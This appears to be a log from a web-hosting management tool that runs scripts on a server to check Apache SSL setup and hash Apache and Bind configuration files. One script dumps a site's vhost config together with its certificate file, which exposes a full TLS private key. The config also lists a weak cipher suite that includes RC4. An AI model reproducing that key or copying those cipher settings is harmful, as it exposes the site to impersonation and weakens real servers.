bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-04-29 19:48:39: 

PUT: /tmp/pkp851794

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-29 19:48:39: 

chmod 755 /tmp/pkp851794; /tmp/pkp851794; rm /tmp/pkp851794

2026-04-29 19:48:39: 


status=ok


2026-04-29 19:48:39: 

PUT: /tmp/pkp604661

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:48:39: 

chmod 755 /tmp/pkp604661; /tmp/pkp604661; rm /tmp/pkp604661

2026-04-29 19:48:39: 
2026-04-29 19:48:39: 

PUT: /tmp/pkp265741

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')
    show_file('/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:48:39: 

chmod 755 /tmp/pkp265741; /tmp/pkp265741; rm /tmp/pkp265741

2026-04-29 19:48:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	1582

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt	2982
76:52:6c:88:d7:a3:ad:40:c1:94:57:af:e6:5b:c2:f6

-----BEGIN CERTIFICATE-----
MIIDWzCCAkOgAwIBAgIUepGTQeFDYHTOFGlpyJcuDxwaynkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDQyOTE5NDgyNVoXDTI3MDQyOTE5NDgyNVow
GzEZMBcGA1UEAwwQeW91bmdyZXBhaXJzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALKbbLAt0rkwJ1xmLND2q2ybi4btfnoK4qFc9FpWKCRrZvZT
wlnkorBZReVzW4K5ZX2TNnrWOI0NEVsFI3tiM8rSkdwAGJEBUD3OIP5hkDywO1q4
RntljSACvYa7brLx0BapP7PkufeZrVlz8BdUw7CjbrvclwVUCo15f3dFBVv3O7s6
aI6QtUGYeB1GfSmZhf+4r/GqaQB+bijXtC/I7FSdeQgjtgq7ktXn5YUT0iQW3JzC
XWT8zgLmqyBqv3nGUGL23F6Z8ywEwnsuf36krz67FjQApTcjllvnetiG9ZVvbRUV
uaPzePIK8NX7HCJZlDv+FjVfwLLo3K1/HIGWxsMCAwEAAaN3MHUwHQYDVR0OBBYE
FMWSBm793MWJGCw6g5aBJtOdSTNaMB8GA1UdIwQYMBaAFIWbbgz9zSS14fXQpAM4
gldLMHP8MAsGA1UdDwQEAwIFoDAJBgNVHRMEAjAAMBsGA1UdEQQUMBKCEHlvdW5n
cmVwYWlycy5jb20wDQYJKoZIhvcNAQELBQADggEBALsM7n9V8JdkdOEiP8Q2vLwr
YZftjPsrQtt/wuC8YRJVqFWh1U2oWE5mtneNvCcBzRm9I9xO3Gb8B6muInxDZQV+
4+hWbrGzX7QY0EXj1rHlxv+JZLvlcgGWCAZWMt2wh+Okk3dv+Usj2ib2Z4wfropY
3dklsJEIu441j/4OAt9E1DbO4v+b/MEUosllOa44v/yFKVZBvU1IiZ+eDwutbpta
PJy2KNl5tEeZyRNgdibuvvQ5U5v6BifhVKNuYKUwrsX/y4QWiWReUHVMdj/sHr7C
IjcNcYJgVk3a5+8UGoDIiV9D6lsBmGlSDLEe/7fAp8ybHFfygXcl73N2My3O6lo=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCym2ywLdK5MCdc
ZizQ9qtsm4uG7X56CuKhXPRaVigka2b2U8JZ5KKwWUXlc1uCuWV9kzZ61jiNDRFb
BSN7YjPK0pHcABiRAVA9ziD+YZA8sDtauEZ7ZY0gAr2Gu26y8dAWqT+z5Ln3ma1Z
c/AXVMOwo2673JcFVAqNeX93RQVb9zu7OmiOkLVBmHgdRn0pmYX/uK/xqmkAfm4o
17QvyOxUnXkII7YKu5LV5+WFE9IkFtycwl1k/M4C5qsgar95xlBi9txemfMsBMJ7
Ln9+pK8+uxY0AKU3I5Zb53rYhvWVb20VFbmj83jyCvDV+xwiWZQ7/hY1X8Cy6Nyt
fxyBlsbDAgMBAAECggEAC66TxNAydK9cG7SJIN/JZZCk5x3YhGX63cAFMXVqKbum
n9zpnNSR+YPVSQUrCplStIxw50bkqwEcTf4/jF3nclAkfyW4dZ+G3owBZ3H9K6MB
NtVPstl5Cgtz1wCiZGzhheHrCzqeGT5BctTc8sG2DPMbloj+jbgp+ofkWOo4SAP/
AxbAqdtn4uw2yFgSYMUlcefKK/OE0wPdPHQhVJrPiE6gySW3Yb43mp2vOjcBMecw
bEmBcnvGys7b2raWzD8u6/i+7JMXGL0NR3YKt9kh3oZKVjq7rCk/XmbQcmrXuE5e
VUnLrLROGGES4l4F7oet8WtpSzcmH5T2YO65x8E+eQKBgQDxr2BVsNIPVGlSO7pt
1vUDkQOMWr9HN2dERixcflFsN/rVDeY3EhgfSTTZfSdvRdtjwk7gSLeavF8372+D
C1sUtfdk+fyohHCbtQN+m7M5bKuIsPOIAmHKTiQowCtdO1lrZ9AixpEwc9n+wPGo
VwauxAlK6qFPp3LIp6vJffeSOQKBgQC9L5wYvgcqnCotwsx8rxdnC/FOAgTqZBaz
YJJzgoQ+M3/YwXGxDQcbeBP0tyKPTptd49yWC5CGC7GLZ4qKDOSyyGaGCSYTVQDv
So2ndXN+JHfWGnF7wMBFuq2e4mGeb0g5iatrDvRn7P743TtcxKDV71HywsoRNNf+
09yJ5nIw2wKBgQC8YOALqpjwjfDRwfBb8PJk50EGwyzYS5zYIIIvTd4VJcUDD6Rj
RF089YiWBPEZ0C9ioG9ubf9+QllNdflLASzrBbJhKGEA0Moc84hXxPB7T/KbxqDr
YD/sud+BS9gBAWN/ThlzIabFR2ehI664caypx+8eT6eQOIpFUDub/+1aMQKBgBs6
9BPXnj5y1dtaU4aKySqK3IOm5MA8Acx11P6NRa2SSg+P4GZkgqZghTbO+Ul5PgGo
n4J1TasNmdN/5r/yFSTqlV8rh/B2ZrkKmRMGY8Y/R4Ror/bpCoO+1+irmvNr/xBR
EXxKXcFrqlN1vGqg3qmMVdZEVUNewMwsAG1U3xDLAoGAO3fZRKgevBo2CA0qxoQL
P63CLVdgQRXviJlN9M+7yM7rkF4TDV3GerIXa9cIIf6oHyWC/hf2wLvaDHFp36Rf
AoLNj0xDnuSMQ6kObbcL6WiiEzADwBUx59tbAO+GKJ7JnJJ61SENVyYVMKSpG6cx
51hyH9+dHv2BkQOOiCrQIeI=
-----END PRIVATE KEY-----







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 8a5bdf447271bd10324a6ca5827ff3fd
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= ab0e8d5628e8f0c5c2abaec0e917b256
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= 593e6dade318edd647237cfd9abbfca3
MD5(/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt)= 63d43af88d7706fcd33effb247810cdf
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp604661:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-29 19:48:45: Establishing a connection
2026-04-29 19:48:45: 

PUT: /tmp/pkp692414

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 19:48:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp692414; rm /tmp/pkp692414'

2026-04-29 19:48:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
